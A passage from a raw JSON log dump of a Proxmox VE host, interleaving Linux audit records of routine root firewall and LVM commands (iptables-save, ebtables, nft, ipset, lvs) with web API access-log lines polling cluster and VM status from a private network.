auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965848747,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:47 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 929"} {"@timestamp":1781965443016,"@rawstring":"node=pve type=EXECVE msg=audit(1781965443.016:65626): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964355694,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.694:60678): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58258 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965848747,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965443008,"@rawstring":"node=pve type=EXECVE msg=audit(1781965443.008:65623): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964355685,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.685:60677): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=6155af577740 items=0 ppid=1156 pid=58257 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965848747,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:47 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965437999,"@rawstring":"node=pve type=EXECVE msg=audit(1781965437.999:65620): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964355649,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.649:60676): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbbda8740 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58257 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965847753,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965437992,"@rawstring":"node=pve type=EXECVE msg=audit(1781965437.992:65617): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964355612,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.612:60675): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ed6a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58256 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965847753,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:46 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781965435845,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.845:65614): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964355593,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.593:60674): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc139260 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58255 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965846130,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:45 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781965435839,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.839:65613): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964355583,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.583:60673): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed5f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58254 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965846130,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:44 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781965435839,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.839:65612): argc=1 a0=\"date\""} {"@timestamp":1781964355559,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.559:60672): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139260 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58253 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965844723,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965435833,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.833:65610): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964355547,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.547:60671): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fd300 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58252 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965844723,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:43 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 916"} {"@timestamp":1781965435827,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.827:65609): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964355536,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.536:60670): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58251 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965844723,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781965435820,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.820:65608): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964355520,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.520:60669): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58250 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965844723,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:43 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965435811,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.811:65607): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964355513,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.513:60668): arch=c000003e syscall=59 success=yes exit=0 a0=5758e2d280e0 a1=5758e2d24e60 a2=5758e2d06680 a3=5 items=2 ppid=58243 pid=58249 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965843109,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:42 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781965435803,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.803:65606): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964355491,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.491:60667): arch=c000003e syscall=59 success=yes exit=0 a0=5758de2a1ac8 a1=7fff303d5dd0 a2=5758e2d06680 a3=5758de28524e items=2 ppid=58243 pid=58245 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965843109,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965435798,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.798:65604): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964355488,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.488:60666): arch=c000003e syscall=59 success=yes exit=0 a0=7fff303d5d90 a1=5758e2d0d310 a2=5758e2d06680 a3=5 items=2 ppid=58243 pid=58244 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965841876,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:41 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 912"} {"@timestamp":1781965435791,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.791:65603): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964355469,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.469:60664): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58243 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965841876,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:40 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781965435783,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.783:65602): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964355446,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.446:60663): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58242 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965839990,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:39 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 921"} {"@timestamp":1781965435777,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.777:65601): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964355428,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.428:60662): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58241 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965839990,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965435768,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.768:65600): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964355419,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.419:60661): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b9900 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58240 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965839990,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:39 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965435757,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.757:65599): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964355390,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.390:60660): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13ff80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58239 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965839990,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:38 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965435748,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.748:65598): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964355366,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.366:60659): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc101190 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58238 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965838775,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:38 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781965435737,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.737:65597): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964354176,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964354.176:60658): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bbbe0 a1=64f8d73f0d70 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58237 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965838775,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:37 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781965435733,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.733:65596): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964354098,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964354.098:60657): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1382870 a1=64f8d73b1420 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58236 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965838775,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:37 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 909"} {"@timestamp":1781965435729,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.729:65595): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964353998,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964353.998:60656): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58233 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965836776,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965435728,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.728:65594): argc=1 a0=\"date\""} {"@timestamp":1781964353983,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964353.983:60653): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58232 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965836776,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:35 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 920"} {"@timestamp":1781965435722,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.722:65592): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964348926,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964348.926:60650): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58231 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965836776,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965435713,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.713:65591): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964348902,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964348.902:60647): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58230 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965836776,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:35 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965435703,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.703:65590): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964345318,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.318:60644): arch=c000003e syscall=59 success=yes exit=0 a0=5fd3719cce90 a1=5fd3719c9c10 a2=5fd3719ab680 a3=5 items=2 ppid=58222 pid=58228 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965835759,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965435699,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.699:65589): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964345311,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.311:60643): arch=c000003e syscall=59 success=yes exit=0 a0=5fd335a12ac8 a1=7ffd046feab0 a2=5fd3719ab680 a3=5fd3359f624e items=2 ppid=58222 pid=58224 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965835759,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:34 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781965435689,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.689:65588): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964345309,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.309:60642): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd046fea70 a1=5fd3719b2310 a2=5fd3719ab680 a3=5 items=2 ppid=58222 pid=58223 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965833869,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:33 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 892"} {"@timestamp":1781965435679,"@rawstring":"node=pve type=EXECVE msg=audit(1781965435.679:65587): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964345300,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.300:60640): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58222 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965833869,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:32 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965434302,"@rawstring":"node=pve type=EXECVE msg=audit(1781965434.302:65586): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964345288,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.288:60639): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58221 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965832727,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:31 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 933"} {"@timestamp":1781965434274,"@rawstring":"node=pve type=EXECVE msg=audit(1781965434.274:65585): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964345275,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.275:60638): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58220 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965832727,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965432981,"@rawstring":"node=pve type=EXECVE msg=audit(1781965432.981:65584): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964345260,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.260:60637): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58219 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965832727,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:31 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965432976,"@rawstring":"node=pve type=EXECVE msg=audit(1781965432.976:65581): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964345250,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.250:60636): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58218 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965832727,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965427969,"@rawstring":"node=pve type=EXECVE msg=audit(1781965427.969:65578): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964345245,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.245:60635): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5daa8f7c7740 items=0 ppid=1156 pid=58217 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965831733,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:30 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781965427959,"@rawstring":"node=pve 